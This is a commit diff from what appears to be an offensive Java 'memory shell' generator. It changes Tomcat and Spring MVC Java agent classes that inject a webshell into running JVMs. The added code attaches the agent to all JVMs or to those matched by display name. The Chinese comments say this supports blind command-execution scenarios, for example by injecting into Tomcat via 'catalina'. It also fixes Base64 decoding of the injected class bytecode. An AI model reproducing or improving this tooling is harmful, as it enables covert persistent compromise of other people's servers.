Skip to content

Commit 6e667fb

Browse files
committed
优化 java agent 马参数选项,贴合实战场景(命令执行无回显)
1 parent b422a60 commit 6e667fb

File tree

2 files changed

+111
-19
lines changed

2 files changed

+111
-19
lines changed

Diff for: jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java

+51-10
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
import java.net.URL;
1818
import java.net.URLClassLoader;
1919
import java.security.ProtectionDomain;
20+
import java.util.ArrayList;
2021
import java.util.List;
2122

2223
public class SpringMVCAgentTransformer implements ClassFileTransformer {
@@ -59,7 +60,7 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
5960
" } catch (Throwable e) {\n" +
6061
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
6162
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
62-
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
63+
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
6364
" }\n" +
6465
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
6566
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
@@ -132,22 +133,45 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
132133

133134
}
134135

136+
/*
137+
参数说明见 TomcatAgentTransformer
138+
*/
135139
public static void main(String[] args) throws Exception {
136-
String jvmProcessId = null;
137140
if (args.length == 0) {
138-
// 列出所有 pid
139141
listAllJvmPids();
140-
} else {
141-
try {
142-
Integer.parseInt(args[0]);
143-
jvmProcessId = args[0];
144-
attachAgentToTargetJvm(jvmProcessId);
145-
} catch (NumberFormatException e) {
146-
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
142+
}
143+
else if (args.length == 1) {
144+
String arg = args[0];
145+
if (arg.equalsIgnoreCase("all")) {
146+
for (String jvmProcessId : getAllJvmPids()) {
147+
attachAgentToTargetJvm(jvmProcessId);
148+
}
147149
}
150+
else {
151+
try {
152+
Integer.parseInt(arg);
153+
attachAgentToTargetJvm(arg);
154+
}
155+
catch (NumberFormatException e) {
156+
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
157+
attachAgentToTargetJvm(jvmProcessId);
158+
}
159+
}
160+
}
161+
} else {
162+
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
148163
}
149164
}
150165

166+
public static List<String> getAllJvmPids() throws Exception {
167+
List<String> pids = new ArrayList<>();
168+
for (Object vm : vms) {
169+
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
170+
String id = (String) getId.invoke(vm);
171+
pids.add(id);
172+
}
173+
return pids;
174+
}
151175

152176
public static void listAllJvmPids() throws Exception {
153177
for (Object vm : vms) {
@@ -159,6 +183,23 @@ public static void listAllJvmPids() throws Exception {
159183
}
160184
}
161185

186+
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
187+
List<String> pids = new ArrayList<>();
188+
for (Object vm : vms) {
189+
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
190+
String currentDisplayName = (String) displayNameMethod.invoke(vm);
191+
System.out.println(currentDisplayName);
192+
System.out.println(displayName);
193+
System.out.println();
194+
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
195+
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
196+
String id = (String) getId.invoke(vm);
197+
pids.add(id);
198+
}
199+
}
200+
return pids;
201+
}
202+
162203
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
163204
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
164205
infoLog("Current agent path: " + agentFilePath);

Diff for: jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java

+60-9
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
import java.net.URL;
1818
import java.net.URLClassLoader;
1919
import java.security.ProtectionDomain;
20+
import java.util.ArrayList;
2021
import java.util.List;
2122

2223
public class TomcatAgentTransformer implements ClassFileTransformer {
@@ -136,22 +137,55 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
136137

137138
}
138139

140+
/*
141+
使用方法:
142+
java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID
143+
java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程
144+
java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID
145+
java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
146+
*/
139147
public static void main(String[] args) throws Exception {
140-
String jvmProcessId = null;
148+
// 无参数 - 列出所有 JVM 进程 ID
141149
if (args.length == 0) {
142-
// 列出所有 pid
143150
listAllJvmPids();
144-
} else {
145-
try {
146-
Integer.parseInt(args[0]);
147-
jvmProcessId = args[0];
148-
attachAgentToTargetJvm(jvmProcessId);
149-
} catch (NumberFormatException e) {
150-
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
151+
} else if (args.length == 1) {
152+
String arg = args[0];
153+
// "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用)
154+
if (arg.equalsIgnoreCase("all")) {
155+
for (String jvmProcessId : getAllJvmPids()) {
156+
attachAgentToTargetJvm(jvmProcessId);
157+
}
158+
}
159+
// JVM 进程 ID,将 agent 注入到指定的 JVM 进程
160+
else {
161+
try {
162+
Integer.parseInt(arg);
163+
attachAgentToTargetJvm(arg);
164+
} catch (NumberFormatException e) {
165+
/*
166+
WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点)
167+
WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
168+
HOW: tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马
169+
*/
170+
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
171+
attachAgentToTargetJvm(jvmProcessId);
172+
}
173+
}
151174
}
175+
} else {
176+
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
152177
}
153178
}
154179

180+
public static List<String> getAllJvmPids() throws Exception {
181+
List<String> pids = new ArrayList<>();
182+
for (Object vm : vms) {
183+
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
184+
String id = (String) getId.invoke(vm);
185+
pids.add(id);
186+
}
187+
return pids;
188+
}
155189

156190
public static void listAllJvmPids() throws Exception {
157191
for (Object vm : vms) {
@@ -163,6 +197,23 @@ public static void listAllJvmPids() throws Exception {
163197
}
164198
}
165199

200+
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
201+
List<String> pids = new ArrayList<>();
202+
for (Object vm : vms) {
203+
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
204+
String currentDisplayName = (String) displayNameMethod.invoke(vm);
205+
System.out.println(currentDisplayName);
206+
System.out.println(displayName);
207+
System.out.println();
208+
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
209+
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
210+
String id = (String) getId.invoke(vm);
211+
pids.add(id);
212+
}
213+
}
214+
return pids;
215+
}
216+
166217
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
167218
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
168219
infoLog("Current agent path: " + agentFilePath);

0 commit comments

Comments
 (0)